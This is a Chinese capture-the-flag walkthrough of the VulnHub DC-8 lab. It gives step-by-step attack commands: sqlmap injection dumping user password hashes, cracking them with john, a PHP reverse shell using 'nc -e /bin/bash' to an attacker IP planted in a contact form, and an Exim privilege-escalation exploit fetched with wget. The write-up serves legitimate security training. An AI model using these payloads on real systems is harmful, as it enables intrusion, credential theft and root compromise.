前言

这次练习的靶机是vulnhub平台下的DC系列靶机第8台,下载地址为https://www.vulnhub.com/entry/dc-8,367/。挑战该靶机的最终目的是获取root权限,然后读取唯一的flag。这台靶机的总体难度不大,利用的漏洞也是常见的,只要细心观察就可以发现这个突破口。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-8靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

在这里插入图片描述

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

在这里插入图片描述

发现靶机的IP地址为 192.168.119.169,然后用nmap对靶机进行详细地扫描。

nmap -A -sV -p- --min-parallelism 100 192.168.119.169

-A 代表综合性扫描,能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

发现开放了 80端口和 22端口,还发现了一些敏感目录。用浏览器打开网页进一步收集更多的信息。

在这里插入图片描述

看网页上面的提示,这些英文翻译如下:

非常重要的信息
在我们解决一些悬而未决的问题时,该网站将在未来几周中断。
给您带来的不便,我们深表歉意。

这个网站关闭了一些功能,但是还展示几个页面。点击这些页面看看有没有数据交互的地方,因为在数据交互的地方很有可能会存在漏洞。

SQL注入

在点击 Welcome to DC-8时发现地址栏中出现了一个参数 nid,这个地方很可能会出现sql注入。可以在这个参数值中加一个引号或双引号,看看会不会报错,如果报错则说明存在sql注入漏洞。

在这里插入图片描述

在nid参数值中添加一个单引号后出现了报错,并且把sql语句也显出了出来,这很明显存在sql注入漏洞。接下来可以使用sqlmap把数据库中的账号查出来。

在这里插入图片描述

sqlmap -u "192.168.119.169/?nid=1" -p nid --dbs

-p 指定有sql注入漏洞的参数。

–dbs 表示列出所有数据库名称。

在这里插入图片描述

information_schema是mysql的默认数据库,存储一些mysql的配置信息。所以该网站的数据库就是d7db,接下来查询一下d7db中的表名。

sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db --tables

-D 指定要查询的数据库

–tables 列出所有表名

在这里插入图片描述

发现有一个叫users的表,账号和密码应该存在这个表中,查询一下该表中的数据。

sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db -T users --dump

在这里插入图片描述

-T 指定要查询的表名

–dump 列出表中详细信息

现在已经将admin和john的密文查询出来了,接下来可以通过john爆破这两个密码了。

爆破密码

首先将这两个密码写入一个文件中。

echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'>pass.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'>>pass.txt

在这里插入图片描述

然后用john爆破密文。

john pass.txt

在这里插入图片描述

从上图中看已经爆破出了密码 turtle,经过测试这个密码是john的密码。也可以用john --show pass.txt来查看已经爆破出的密码。

在这里插入图片描述

反弹shell

首先登陆网站的后台,该网站的后台地址为 http://192.168.119.169/user/login

在这里插入图片描述

登陆后应该寻找可以写入php代码的地方,只有能执行代码的地方才能建立反弹shell。经过多次尝试后发现按照下列步骤操作能执行php代码。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

然后在文本框中写入代码:

<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.119.130 4443")
?>

其中必须要有能显示的文字才能执行php代码。因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行。

在这里插入图片描述

然后在本地监听4443端口。

rlwrap nc -lvnp 4443

在这里插入图片描述

然后在 Contact Us的view中随便填写数据,然后提交。

在这里插入图片描述

提交数据后就会显示刚刚填写在文本框中的内容,其中php代码也会跟着执行,所以这时候反弹shell也就建立了。然后再执行一下命令升级一下shell。

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

提权

尝试一下suid提权,首先搜索一下具有s权限的文件。

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

suid提权详细内容可以参考:https://cloud.tencent.com/developer/article/1600994

在这里插入图片描述

发现了一个比较特别文件exim4,用searchsploit搜索一下,看看能不能使用这个文件提权。首先查看一下exim的版本。

exim --version

在这里插入图片描述

发现版本号是4.89,用searchsploit搜索一下该版本的利用程序。

searchsploit exim

在这里插入图片描述

46996.sh复制到当前文件夹,并查看一下该文件中的注释,因为在注释中有说明使用方法,同时将该文件中的换行符换成unix格式的换行符。

searchsploit -m 46996.sh
vim 46996.sh
:set ff=unix

在这里插入图片描述

该程序有两种方法来获取root权限,可以在提权的时候都尝试一下。现在需要将该文件上传到靶机中,首先在该提权文件目录执行一下命令。

python3 -m http.server 80

该命令相当于开启一个web网站,可以供其他主机下载。

在这里插入图片描述

然后将46996.sh下载至靶机。

cd /tmp
wget 192.168.119.130/46996.sh

在这里插入图片描述

赋予46996.sh执行权限,并按照注释中提示的方法执行该程序。执行程序后等待一会儿就提权成功了。要注意的是如果没有提权成功可以多尝试几次,提权成功后过一会儿又会失去root权限。

chmod +x 46996.sh
./46996.sh -m netcat

在这里插入图片描述

提权成功,读取flag。

cd /root
cat flag.txt

在这里插入图片描述

参考文献

[1] https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

[2] https://cloud.tencent.com/developer/article/1600994

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐